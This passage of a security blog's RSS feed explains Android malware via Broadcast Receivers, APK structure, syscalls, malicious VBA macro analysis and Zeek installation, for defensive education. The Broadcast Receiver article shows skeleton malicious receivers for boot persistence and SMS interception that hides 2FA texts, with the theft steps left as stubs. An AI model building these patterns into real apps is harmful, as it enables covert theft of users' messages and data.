            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMBy4Yley5jMoe4T2rfjOA.png" /></figure><h3>What is a Broadcast Receiver?</h3><p>In the Android operating system, a Broadcast Receiver is a powerful component that allows apps to respond to system-wide events. Think of it as a “listener” on your phone that waits for specific events to happen and then triggers appropriate actions.</p><p>For example, when your phone’s battery is low, when you connect to Wi-Fi, when an SMS arrives, or when your device reboots, these are all “broadcasts.” A Broadcast Receiver catches these broadcasts and performs predefined tasks in response.</p><h3>How Do Broadcast Receivers Work?</h3><p>Android supports two types of broadcasts:</p><p><strong>System Broadcasts:</strong> Sent by the Android operating system itself, such as BOOT_COMPLETED (when device starts), BATTERY_LOW (when battery is low), SMS_RECEIVED (when SMS arrives), and CONNECTIVITY_CHANGE (when internet connection changes).</p><p><strong>Custom Broadcasts:</strong> Created by apps to communicate with each other or trigger their own internal events.</p><p>Developers register Broadcast Receivers to specify which events they want to monitor. While this provides convenient functionality, it also creates security vulnerabilities that malware can exploit.</p><h3>How Malware Exploits Broadcast Receivers</h3><p>Unfortunately, the same features that make Broadcast Receivers useful also make them attractive to cybercriminals. Here’s how modern malware abuses this Android component:</p><p><strong>1. Persistence Through Boot Completion</strong></p><p>The most common malware technique involves registering for the BOOT_COMPLETED broadcast. When a user restarts their phone, the malware automatically launches itself without any user interaction. This ensures the malicious app survives device reboots and continues operating in the background.</p><pre>// AndroidManifest.xml<br>&lt;receiver android:name=&quot;.BootReceiver&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.BOOT_COMPLETED&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/receiver&gt;</pre><pre>// BootReceiver.java<br>public class BootReceiver extends BroadcastReceiver {<br>    @Override<br>    public void onReceive(Context context, Intent intent) {<br>        Intent maliciousService = new Intent(context, MalwareService.class);<br>        context.startService(maliciousService);<br>    }<br>}</pre><p><strong>2. SMS Interception and Theft</strong></p><p>Banking trojans frequently register receivers for SMS_RECEIVED broadcasts. When you receive a two-factor authentication code from your bank, the malware intercepts it before you even see the notification. The stolen code is then sent to attackers, allowing them to bypass security measures and access your accounts.</p><pre>// AndroidManifest.xml<br>&lt;receiver android:name=&quot;.SmsReceiver&quot;&gt;<br>    &lt;intent-filter android:priority=&quot;999&quot;&gt;<br>        &lt;action android:name=&quot;android.provider.Telephony.SMS_RECEIVED&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/receiver&gt;<br>&lt;uses-permission android:name=&quot;android.permission.RECEIVE_SMS&quot;/&gt;</pre><pre>// SmsReceiver.java<br>public class SmsReceiver extends BroadcastReceiver {<br>    @Override<br>    public void onReceive(Context context, Intent intent) {<br>        Bundle bundle = intent.getExtras();<br>        if (bundle != null) {<br>            Object[] pdus = (Object[]) bundle.get(&quot;pdus&quot;);<br>            for (Object pdu : pdus) {<br>                SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu);<br>                String message = sms.getMessageBody();<br>                String sender = sms.getOriginatingAddress();<br>                <br>                sendToAttacker(sender, message);<br>                abortBroadcast();  // Hide SMS from user<br>            }<br>        }<br>    }<br>}</pre><p><strong>3. Network-Based Activation</strong></p><p>Sophisticated malware monitors CONNECTIVITY_CHANGE broadcasts to detect when your device connects to the internet. Once online, it quietly downloads additional malicious payloads, updates its command servers, or exfiltrates stolen data without arousing suspicion.</p><pre>// AndroidManifest.xml<br>&lt;receiver android:name=&quot;.NetworkReceiver&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.net.conn.CONNECTIVITY_CHANGE&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/receiver&gt;<br>&lt;uses-permission android:name=&quot;android.permission.ACCESS_NETWORK_STATE&quot;/&gt;</pre><pre>// NetworkReceiver.java<br>public class NetworkReceiver extends BroadcastReceiver {<br>    @Override<br>    public void onReceive(Context context, Intent intent) {<br>        ConnectivityManager cm = (ConnectivityManager) <br>            context.getSystemService(Context.CONNECTIVITY_SERVICE);<br>        NetworkInfo activeNetwork = cm.getActiveNetworkInfo();<br>        <br>        if (activeNetwork != null &amp;&amp; activeNetwork.isConnected()) {<br>            downloadMaliciousPayload();<br>            sendStolenData();<br>        }<br>    }<br>}</pre><p><strong>4. Evasion of Battery Optimization</strong></p><p>Some malware uses broadcasts like SCREEN_ON and SCREEN_OFF to track user activity patterns. By understanding when you’re actively using your phone, malware can perform malicious activities during idle times to avoid detection and battery drain alerts.</p><pre>// AndroidManifest.xml<br>&lt;receiver android:name=&quot;.ScreenReceiver&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.SCREEN_ON&quot;/&gt;<br>        &lt;action android:name=&quot;android.intent.action.SCREEN_OFF&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/receiver&gt;</pre><pre>// ScreenReceiver.java<br>public class ScreenReceiver extends BroadcastReceiver {<br>    @Override<br>    public void onReceive(Context context, Intent intent) {<br>        if (intent.getAction().equals(Intent.ACTION_SCREEN_OFF)) {<br>            // Screen is off - user not watching<br>            stealContacts();<br>            uploadFiles();<br>        } else if (intent.getAction().equals(Intent.ACTION_SCREEN_ON)) {<br>            stopMaliciousActivities();<br>        }<br>    }<br>}</pre><p><strong>5. App Installation Monitoring</strong></p><p>Malware can register for PACKAGE_ADDED and PACKAGE_REMOVED broadcasts to monitor which apps you install or uninstall. This information helps attackers identify security apps you might install and develop countermeasures, or target specific banking apps you use.</p><pre>// AndroidManifest.xml<br>&lt;receiver android:name=&quot;.AppMonitorReceiver&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.PACKAGE_ADDED&quot;/&gt;<br>        &lt;action android:name=&quot;android.intent.action.PACKAGE_REMOVED&quot;/&gt;<br>        &lt;data android:scheme=&quot;package&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/receiver&gt;</pre><pre>// AppMonitorReceiver.java<br>public class AppMonitorReceiver extends BroadcastReceiver {<br>    @Override<br>    public void onReceive(Context context, Intent intent) {<br>        String packageName = intent.getData().getSchemeSpecificPart();<br>        <br>        if (intent.getAction().equals(Intent.ACTION_PACKAGE_ADDED)) {<br>            if (packageName.contains(&quot;antivirus&quot;)) {<br>                hideMalware();<br>            }<br>            if (isBankingApp(packageName)) {<br>                setupKeylogger(packageName);<br>            }<br>        }<br>    }<br>}</pre><h3>Protecting Yourself</h3><p>Google has tightened security in recent Android versions by restricting implicit broadcast receivers, but threats remain. To protect yourself, only install apps from trusted sources like Google Play Store, regularly review app permissions, keep your Android system updated, and use reputable mobile security software.</p><p>Understanding how Broadcast Receivers work and how malware exploits them is the first step toward better mobile security. Stay vigilant and question why apps request certain permissions, especially those related to system broadcasts.</p><h4><strong>In case you want to get futher info about this topic:</strong></h4><ul><li>Android Developers. (2026). <em>Broadcasts</em>. Android Developers. <a href="https://developer.android.com/develop/background-work/background-tasks/broadcasts">https://developer.android.com/develop/background-work/background-tasks/broadcasts</a>.</li><li>Android Developers. (2025). <em>BroadcastReceiver</em> (API reference). Android Developers. <a href="https://developer.android.com/reference/android/content/BroadcastReceiver?utm_source=chatgpt.com">https://developer.android.com/reference/android/content/BroadcastReceiver</a>.</li><li>Lodge, D. (2025). <em>Android Broadcast Receivers 101</em>. Pen Test Partners. <a href="https://www.pentestpartners.com/security-blog/android-broadcast-receivers-101/?utm_source=chatgpt.com">https://www.pentestpartners.com/security-blog/android-broadcast-receivers-101/</a>.</li></ul><p><em>If you found this article valuable, consider clapping to help others discover it. Follow </em><a href="https://medium.com/@ruslanmirza"><em>Ruslan</em></a><em> and The Malware Files to stay connected and be part of a growing community exploring malware, security, and digital threats together.</em></p><figure><a href="https://themalwarefiles.com/"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4s8SFT-u1vFj9RT7GbVbZA.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=336e4ab0de75" width="1" height="1" alt=""><hr><p><a href="https://themalwarefiles.com/android-broadcast-receivers-a-gateway-for-malware-attacks-336e4ab0de75">Android Broadcast Receivers: A Gateway for Malware Attacks</a> was originally published in <a href="https://themalwarefiles.com/">The Malware Files</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dissecting an APK: A Malware Analyst’s Perspective]]></title>
            <link>https://themalwarefiles.com/dissecting-an-apk-a-malware-analysts-perspective-ab33b48d2333?source=rss-e01255d7e91c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab33b48d2333</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[google]]></category>
            <dc:creator><![CDATA[Ruslan Mirza]]></dc:creator>
            <pubDate>Thu, 05 Feb 2026 18:08:45 GMT</pubDate>
            <atom:updated>2026-02-06T22:07:05.573Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Android applications come in a single package file called an APK (Android Package). For a malware analyst, understanding the internal structure of an APK is the first step toward identifying suspicious behavior. Malicious APKs often hide dangerous logic, payloads, or native code that can harm devices.</p><h3>APK Structure Overview</h3><p>An APK is basically an archive. You can open it with any archive tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5k1yd6SCEezKe10SrcJ-sA.png" /></figure><h3>Manifest &amp; Permissions</h3><p>A<strong> Manifest file</strong> declares what the app can access.</p><pre>&lt;uses-permission android:name=&quot;android.permission.SEND_SMS&quot;/&gt;<br>&lt;uses-permission android:name=&quot;android.permission.READ_CONTACTS&quot;/&gt;</pre><ul><li>Malware often requests unnecessary, dangerous permissions</li><li>A malware analyst flags permissions like SMS, contacts, and device admin</li></ul><h3>Dex &amp; Native Code in Android APKs</h3><p>When analyzing an Android application, especially for security or malware research, the two most important technical areas are DEX code and native code. Together, they reveal how the app works and whether it performs malicious actions.</p><h3>classes.dex - Application Logic (Java/Kotlin)</h3><p>The classes.dex file contains the compiled application logic written in Java or Kotlin. During the build process, Android converts source code into Dalvik bytecode, which is stored in this file.</p><p>This is where most of the app’s behavior lives:</p><ul><li>User interactions</li><li>Network communication</li><li>Permission usage</li><li>Data collection logic</li></ul><h3>Why it matters for malware analysis</h3><p>Malicious apps often implement:</p><ul><li>SMS sending</li><li>Data exfiltration</li><li>Command-and-control (C2) communication</li><li>Dynamic code loading</li></ul><p>All of these are commonly visible in classes.dex.</p><h3>Native Code - .so Libraries (C/C++)</h3><p>Native code is stored in shared object files (.so) inside the lib/ directory of an APK. These files are compiled from C or C++ into CPU-specific machine code (ARM, ARM64, x86).</p><p>Unlike classes.dex, native code:</p><ul><li>Cannot be easily decompiled into source code</li><li>Runs closer to the operating system</li><li>Is harder to analyze and easier to hide malicious behavior in</li></ul><h3>Why malware uses native code</h3><p>Attackers often place dangerous logic in .so files because they allow:</p><ul><li>Low-level system interaction</li><li>Exploit development</li><li>Anti-debugging and anti-emulation</li><li>Keylogging and credential theft</li><li>Security and antivirus evasion</li></ul><p>Root exploits and advanced spyware frequently rely on native libraries.</p><h3>Resources &amp; Assets - Hidden Data and Payloads</h3><p>In Android applications, not all malicious behavior is implemented directly in code. Very often, payloads, configurations, or hidden data are stored inside the app’s resources or assets directories. These locations are ideal for malware authors because files placed here usually look harmless at first glance.</p><h3>assets/ – Raw and Unprocessed Files</h3><p>The assets/ directory is used to store <strong>raw files</strong> that the application can read directly at runtime. Unlike res/, files in assets/ are not compiled or renamed by the Android build system.</p><h3>Why malware uses assets/</h3><p>Malicious developers favor this directory because it allows them to hide:</p><ul><li>Encrypted configuration files</li><li>Command-and-control (C2) addresses</li><li>Secondary payloads</li><li>Feature flags to enable or disable behavior remotely</li></ul><h3>res/ – Compiled Resources with Hidden Purposes</h3><p>The res/ directory contains compiled resources such as:</p><ul><li>Images</li><li>Layout XML files</li><li>Strings</li><li>Colors and styles</li></ul><p>At first glance, these appear harmless. However, malware often abuses this directory to hide data in plain sight.</p><p><strong>Possible malicious use cases:</strong></p><ul><li>Encrypted payload hidden inside image pixels</li><li>Commands or keys embedded using steganography</li><li>Fake images used as data containers</li></ul><p>Because image files are expected in res/drawable/, security tools and users often ignore them.</p><h3>Red flags to look for</h3><ul><li>Image files with unusually large sizes</li><li>PNGs that are never used by the UI</li><li>Code that reads image bytes instead of displaying them</li><li>Custom image parsing logic in classes.dex</li></ul><h3>Signature &amp; Integrity - Trust and Tampering Detection</h3><p>Every Android application is digitally signed. This signature allows the Android system to verify that the APK has not been modified since it was built and signed by the developer. All signature‑related information is stored inside the META-INF/ directory.</p><h3>META-INF/ – Digital Signatures</h3><p>The META-INF/ directory contains cryptographic metadata used to ensure APK integrity and authenticity.</p><p>Typical files include:</p><ul><li>MANIFEST.MF – Lists files and their hashes</li><li>CERT.SF – Signature file</li><li>CERT.RSA or CERT.DSA – Developer certificate</li></ul><p>Together, these files prove:</p><ul><li>Who signed the application</li><li>That the APK contents have not changed</li></ul><p>If any file inside the APK is modified, the signature becomes invalid and Android will normally refuse to install the app.</p><h3>Why Signature Integrity Matters for Malware</h3><p>From a security perspective, digital signatures are a key defense mechanism. However, malware authors try to bypass or abuse this system in several ways.</p><h3>Common malicious scenarios</h3><h4>1. APK modification and re-signing</h4><ul><li>A legitimate app is unpacked</li><li>Malicious code is injected</li><li>The APK is re-signed with an attacker’s certificate</li></ul><p>This breaks the original trust chain but still allows installation if the user is tricked into accepting it.</p><h4>2. Bypassing signature verification in code</h4><p>Some malware:</p><ul><li>Removes or patches signature verification logic</li><li>Hooks system APIs to fake signature results</li><li>Uses reflection or native code to evade checks</li></ul><p>This is common in:</p><ul><li>Pirated apps</li><li>Trojanized popular applications</li></ul><h4>3. Exploiting older Android versions</h4><p>On older or misconfigured systems, attackers may exploit:</p><ul><li>Signature verification bugs</li><li>Insecure update mechanisms</li><li>Weak certificate validation</li></ul><h3>What to Look for During Analysis</h3><p>When analyzing META-INF/:</p><ul><li>Check if the certificate matches the expected developer</li><li>Look for unusual certificate names or self-signed certs</li><li>Compare the app signature with known legitimate versions</li><li>Verify whether signature checks exist in classes.dex or native code</li></ul><p>If an app claims to be from a trusted source but uses an unknown or mismatched certificate, this is a strong tampering indicator.</p><h3>Conclusion</h3><p>Android malware usually does not rely on a single technique. Instead, it spreads its behavior across different parts of the APK to avoid detection. Malicious logic may appear in the main application code, be hidden inside native libraries, or be stored quietly in resources and assets. Even the app’s signature and integrity information can be abused or bypassed when an application is modified and redistributed.</p><p>Because of this, effective Android malware analysis requires a holistic approach. Focusing on only one component is not enough. Analysts must understand how all parts of an APK work together and how attackers misuse normal Android features for malicious purposes.</p><p>By carefully examining code, native binaries, embedded files, and signatures, it becomes possible to distinguish legitimate applications from malicious ones and to uncover hidden threats that are not immediately visible.</p><h4><strong>In case you want to get further knowledge about the topic:</strong></h4><ol><li>Technical breakdown of APK file architecture and components: <a href="https://www.appdome.com/how-to/devsecops-automation-mobile-cicd/appdome-basics/structure-of-an-android-app-binary-apk/">https://www.appdome.com/how-to/devsecops-automation-mobile-cicd/appdome-basics/structure-of-an-android-app-binary-apk/</a></li><li>What is native code and how is it compiled?: <a href="https://www.techtarget.com/searchapparchitecture/definition/native-code">https://www.techtarget.com/searchapparchitecture/definition/native-code</a></li><li>How Native Code Protects Sensitive Logic in Android: <a href="https://adjoe.io/company/engineer-blog/mobile-app-security-android-native-code/">https://adjoe.io/company/engineer-blog/mobile-app-security-android-native-code/</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab33b48d2333" width="1" height="1" alt=""><hr><p><a href="https://themalwarefiles.com/dissecting-an-apk-a-malware-analysts-perspective-ab33b48d2333">Dissecting an APK: A Malware Analyst’s Perspective</a> was originally published in <a href="https://themalwarefiles.com/">The Malware Files</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Syscalls: Why They Matter in Malware Analysis]]></title>
            <link>https://medium.com/@ruslanmirza/syscalls-why-they-matter-in-malware-analysis-ac679cf837c9?source=rss-e01255d7e91c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac679cf837c9</guid>
            <dc:creator><![CDATA[Ruslan Mirza]]></dc:creator>
            <pubDate>Mon, 19 Jan 2026 14:15:54 GMT</pubDate>
            <atom:updated>2026-01-19T14:15:54.140Z</atom:updated>
            <content:encoded><![CDATA[<p>Modern malware is not just about strings, suspicious APIs or strange mutexes. Serious threats interact with the operating system at a deeper boundary - where user-mode requests transition into privileged kernel execution. This boundary is governed by system calls and for malware analysts, understanding them is essential for uncovering stealthy behaviors.</p><h3>What is a System Call?</h3><p>Applications cannot directly touch hardware or privileged OS structures. The CPU enforces this separation through execution modes:</p><ul><li>User mode → restricted</li><li>Kernel mode → privileged</li></ul><p>When an application needs something privileged - such as opening a file, allocating memory, creating a socket or interacting with a driver - it cannot just do it directly. Instead, it issues a system call (syscall): a software mechanism to request the kernel to perform an operation on its behalf.</p><p>Common examples:</p><ul><li>open(), read(), write(), mmap(), clone() on Linux</li><li>NtOpenProcess, NtReadVirtualMemory, NtCreateFile on Windows</li></ul><p>Syscalls are essentially the “OS API” that every program eventually depends on.</p><h3><strong>Why Syscalls Matter for Malware Analysis</strong></h3><p>Most analysts begin analysis at the API layer: Windows API, libc, Java SDK, etc. But these are just wrappers. Eventually, every file write, process injection or network connection translates into a syscall.</p><p>Malware leverages this boundary for two strategic reasons:</p><h3>1. Evading User-Mode Monitoring</h3><p>User-mode hooks or EDR shims can intercept APIs like CreateFileA, but malware can bypass this by calling the underlying syscall directly:</p><pre>CreateFileA → NtCreateFile → syscall → kernel</pre><p>If the analyst is only looking at CreateFileA, then direct syscall invocation becomes invisible.</p><p>This is widely seen in:</p><ul><li>Process injection malware</li><li>Credential theft tools</li><li>User-mode rootkits</li><li>EDR bypasses</li><li>Syscall stubbing in shellcode</li></ul><h3>2. Gaining Stealth in Kernel Resource Usage</h3><p>Key resource interactions are reflected clearly at syscall level, such as:</p><ul><li>Hidden process enumeration via NtQuerySystemInformation</li><li>Memory reads via NtReadVirtualMemory</li><li>Socket creation via sys_socket</li><li>Keylogging via sys_read on /dev/input</li><li>File hiding via tampering with getdents output</li></ul><p>API-level views can be misleading or patched, syscall traces expose the truth.</p><h3>3. Revealing Intent Through Argument Inspection</h3><p>Syscalls carry structured parameters that reveal what the malware really wants. For example:</p><p><strong>Linux keylogger rootkit</strong><br> Intercepts sys_read(fd=3, buf=0x123400, count=64)<br> → buffer records keystrokes from /dev/input/event*</p><p><strong>Windows process dumper</strong><br> NtReadVirtualMemory(pid=4321, base=0x7ffde000, size=0x200000)<br> → reveals memory scraping around LSASS (Local Security Authority Subsystem Service)</p><p>Argument-level visibility is gold for analysts because intent becomes concrete.</p><h3>Real Tools for Analysts</h3><p>Syscalls are not abstract. Analysts can observe them live:</p><p><strong>Linux:</strong></p><ul><li>strace</li><li>sysdig</li><li>bcc/eBPF</li><li>auditd</li></ul><p><strong>Windows:</strong></p><ul><li>ETW/TraceView</li><li>Sysmon</li><li>WinDbg</li><li>API Monitor (API→syscall mapping)</li></ul><p>Advanced APT samples often show unusual syscall patterns rather than suspicious strings.</p><h3>Conclusion</h3><p>Strong malware analysts eventually move past strings and APIs to understand how programs actually interface with the OS. Syscalls are that interface. They expose persistence, credential theft, memory manipulation, and stealthy communication even when higher layers are obfuscated or redirected.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac679cf837c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analyzing malicious VBA scripts(macros) in Office files]]></title>
            <link>https://medium.com/@ruslanmirza/analyzing-malicious-vba-scripts-macros-in-office-files-a68458776271?source=rss-e01255d7e91c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a68458776271</guid>
            <dc:creator><![CDATA[Ruslan Mirza]]></dc:creator>
            <pubDate>Mon, 17 Nov 2025 18:02:49 GMT</pubDate>
            <atom:updated>2025-11-17T18:02:49.312Z</atom:updated>
            <content:encoded><![CDATA[<p>For the past few days, I have been researching and experimenting malware analysis, especially Office files that contain malicious VBA (Visual Basic for Applications) scripts. One of the most important topics, VBA macros, caught my attention the most. In this article, I explained what they are and why they are important, how can we deobfuscate the obfuscated code..</p><p>First, I want to discuss an attack vector that adversaries commonly rely on: embedding malicious scripts inside legitimate-looking Office documents. These documents often appear harmless to the user, but once opened, the hidden malicious code can automatically execute in the background. After execution, the script can begin carrying out its intended malicious actions, such as downloading additional payloads, stealing data, or establishing persistence on the system.</p><p>This method is effective because it exploits user trust in familiar file formats like Word or Excel. Many users are accustomed to opening documents without hesitation, and attackers take advantage of this behavior. Understanding how these scripts are embedded and triggered is crucial for recognizing and mitigating document-based threats.</p><h3><strong>Malicious scripts inside Office documents</strong></h3><p>So, we’ve said that Office documents can contain malicious scripts, but how do we actually analyze them? <br>To answer this, we first need to look at whether the document contains any VBA macros. Macros are often the starting point of an investigation because they can reveal embedded logic, hidden payloads, or suspicious behaviors that execute when the file is opened. By examining the presence and structure of these VBA macros, we can begin to understand how the malicious activity is triggered and what the attacker intended the file to do.</p><h4>What are macros?</h4><p>Macros save users time by allowing them to automate a series of commands that can be triggered by different actions. Usually, macros are written in Visual Basic for Applications (VBA), a language developed by Microsoft and supported by all Microsoft Office products. Macros are a powerful tool that gives users access and permissions to resources of the local system. Attackers use macros to modify files on the system and to execute the next stage of an attack.</p><h3><strong>How to detect and analyze malicious Office macros?</strong></h3><p>First, we can run <strong><em>oleid</em></strong><em> </em>tool that checks Office file’s characteristics and tells if it has malicious characteristics. Then if VBA macro scripts detected, we can use <strong><em>olevba</em></strong> tool to extract and examine the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5lFeo-jPLwErz1Yc8zfbQw.png" /></figure><p>This is typical output of <strong><em>oleid </em></strong>command. The <strong><em>oleid </em></strong>command shows a quick security overview of an Office file. Its output can include:</p><p>- File type<br> <br>- Presence of VBA macros<br> <br>- Auto-executing macros<br> <br>- Embedded OLE objects<br> <br>- Suspicious indicators<br> <br>- Metadata (author, creation time, etc.)<br> <br>- Encryption / password protection</p><p>Let’s say VBA macros detected. Then we can use <strong><em>olevba </em></strong>command to extract and analyze the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*ZsUQ_SQr1i_l_OqWo46F0A.png" /></figure><p>This is part of output after executing <strong><em>olevba </em></strong>command.</p><p>When analyzing malicious Office documents, one of the first things we look at is the behavior of the VBA macros inside the file. The output shown above highlights several indicators that help us understand whether the macro is potentially harmful.</p><p>The first and most critical category is auto-execution triggers. Entries like <strong>AutoOpen </strong>and <strong>Document_Open </strong>tell us that the macro will run automatically as soon as the document is opened. This is one of the most common techniques adversaries use to execute their payloads without requiring any user interaction.</p><p>Next, we pay attention to suspicious keywords. Commands such as <strong>Shell</strong>, <strong>Wscript.Shell</strong>, <strong>Run</strong>, or <strong>Exec</strong> indicate the macro may attempt to launch external programs or run system-level commands. Even more concerning is the presence of the keyword <strong>powershell</strong>, which strongly suggests the document may attempt to execute PowerShell code, a popular technique for downloading additional payloads or performing in-memory attacks.</p><p>We also look for object creation calls like <strong>CreateObject </strong>or <strong>New-Object</strong>. These functions allow the macro to interact with the underlying Windows system, create COM objects, or even spawn PowerShell instances. Such behavior is rarely necessary for legitimate documents and is often used to bypass security controls.</p><p>Finally, the detection of hex-encoded strings is another important sign. Encoding is frequently used by attackers to hide malicious commands or URLs. Obfuscation makes static analysis harder and is considered a strong indicator of malicious activity.</p><p>By examining these elements together, auto-execution triggers, suspicious commands, object creation functions, and encoded strings, we can build a clear picture of the macro’s intent and determine whether the document poses a security threat.</p><h3>Obfuscation and Deobfuscation of Macros code</h3><p>The VBA code inside malicious Microsoft Office documents is often heavily obfuscated. Attackers intentionally obfuscate their macro code to make analysis slower and more difficult, both for antivirus engines and for human analysts trying to understand the behavior of the file.</p><p>To achieve this, threat actors rely on a variety of obfuscation techniques, including:</p><p>- Encoding or encrypting strings and API calls (commonly using Base64 or hexadecimal)<br> <br>- Injecting random characters to disguise keywords, API names, or command strings<br> <br>- Renaming variables and functions to meaningless or misleading names<br> <br>- Embedding shellcode to execute malicious payloads directly from memory<br> <br>- Dynamically creating or redefining functions at runtime</p><p>These techniques make it significantly harder to identify what the macro is doing at first glance, forcing analysts to spend additional time deobfuscating the code before they can properly study its behavior. Understanding these obfuscation patterns is a key skill when analyzing malicious documents.</p><p><strong>So, how can we deobfuscate the obfuscated code?</strong></p><p>There are 2 ways to deobfuscate the code: <strong>Static </strong>and <strong>Dynamic </strong>deobfuscation.</p><p>Let’s examine <strong>statically</strong> deobfuscating.</p><p>Tools like <strong>olevba </strong>make this process easier. By using the — decode argument, <strong>olevba </strong>attempts to automatically decode common obfuscation patterns found in malicious VBA macros. <br>For example, if the macro contains Base64-encoded strings, hex-encoded payloads, or concatenated variables designed to hide commands, <strong>olevba — decode</strong> will try to reconstruct and display the decoded version. This helps you quickly understand what the macro is doing without spending too much time manually unraveling every string or function.</p><p><strong>Now, dynamic obfuscation..</strong></p><p>Another approach is dynamic analysis, where you execute the macro in a controlled environment to observe its real behavior. Instead of trying to manually understand every line of obfuscated code, you let the macro run and watch what it does.</p><p>Tools like <strong><em>ViperMonkey </em></strong>act as sandboxed emulators for VBA macros. They simulate the execution of the code without running it on your actual system, which allows you to safely track:</p><p>- What commands are executed<br> <br>- What URLs or IPs the macro tries to contact<br> <br>- What files it attempts to create or modify<br> <br>- Whether it launches PowerShell or CMD<br> <br>- Any decoded payloads or dropped malware</p><p>This makes dynamic analysis extremely useful when the macro is too heavily obfuscated to decode manually. By observing the final behavior rather than the confusing code, you can quickly understand the attacker’s intent.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a68458776271" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is Zeek tool, how it works and how to install it]]></title>
            <link>https://medium.com/@ruslanmirza/what-is-zeek-tool-how-it-works-and-how-to-install-it-67e7a6301c80?source=rss-e01255d7e91c------2</link>
            <guid isPermaLink="false">https://medium.com/p/67e7a6301c80</guid>
            <dc:creator><![CDATA[Ruslan Mirza]]></dc:creator>
            <pubDate>Sat, 04 Oct 2025 09:30:33 GMT</pubDate>
            <atom:updated>2025-10-04T09:40:44.220Z</atom:updated>
            <content:encoded><![CDATA[<p>Today, I will introduce the tool: Zeek.<br>Zeek is an open-source tool that helps you monitor and understand network traffic. Unlike packet sniffers, it doesn’t just capture data — it turns it into readable logs. You can quickly see connections, DNS requests, HTTP activity, and even SSL details. This makes it a powerful ally for security teams, incident responders, and network engineers.</p><p><strong>How it works?</strong></p><p>It takes in raw network traffic — either live from an interface or from a PCAP file. Instead of showing you every single packet, Zeek interprets the data and generates structured logs. For example, you’ll get dns.log for DNS queries, http.log for web traffic, conn.log for all connections, and more. In the end, you don’t just see packets — you see clear events and patterns that tell the real story of your network.</p><p><strong>Benefits of using this tool:</strong></p><p><strong>- </strong>Clarity — it turns raw network traffic into structured, readable logs.<br>- Visibility — you can quickly see DNS queries, HTTP traffic, SSL sessions, and connections.<br>- Efficiency — no need to inspect each packet manually.<br>- Flexibility — supports custom scripts to detect unusual or suspicious behavior.<br>- Integration — works with SIEM tools like Splunk, ELK, and Security Onion.</p><p><strong>How to install Zeek:</strong></p><ol><li>Check your Linux version with the command: lsb_release -a</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*tDjmwdWEZCz-FD394Cn5JQ.png" /></figure><p>2. Then go to the website shown in second picture and select your operating system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c2Af6-a0W8xtbj4ei4Akow.png" /></figure><p>3. After selecting your OS, click on “Add repository and install manually”.<br>4. Find the commands related to your OS version, then copy and run them in your terminal.<br>5. By default, Zeek will be installed in the `/opt/zeek/bin/` folder.<br>6. To start working with zeek, take any ‘.pcap’ file. Then use the command : /opt/zeek/bin/zeek -r ‘file.pcap’ — (In this example, Zeek is installed in `/opt/zeek/bin/` and the `.pcap` file is in the current directory. Make sure to adjust the paths according to your setup.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*688U94zcCtk-gE8WX8IrHQ.png" /></figure><p>7. After running the command above, Zeek will generate log files from the .pcap file, such as conn.log, dns.log, http.log and etc. You can then open these logs to examine the details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*LAd2ctZyZNJ2ZEA7Sso7MQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67e7a6301c80" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>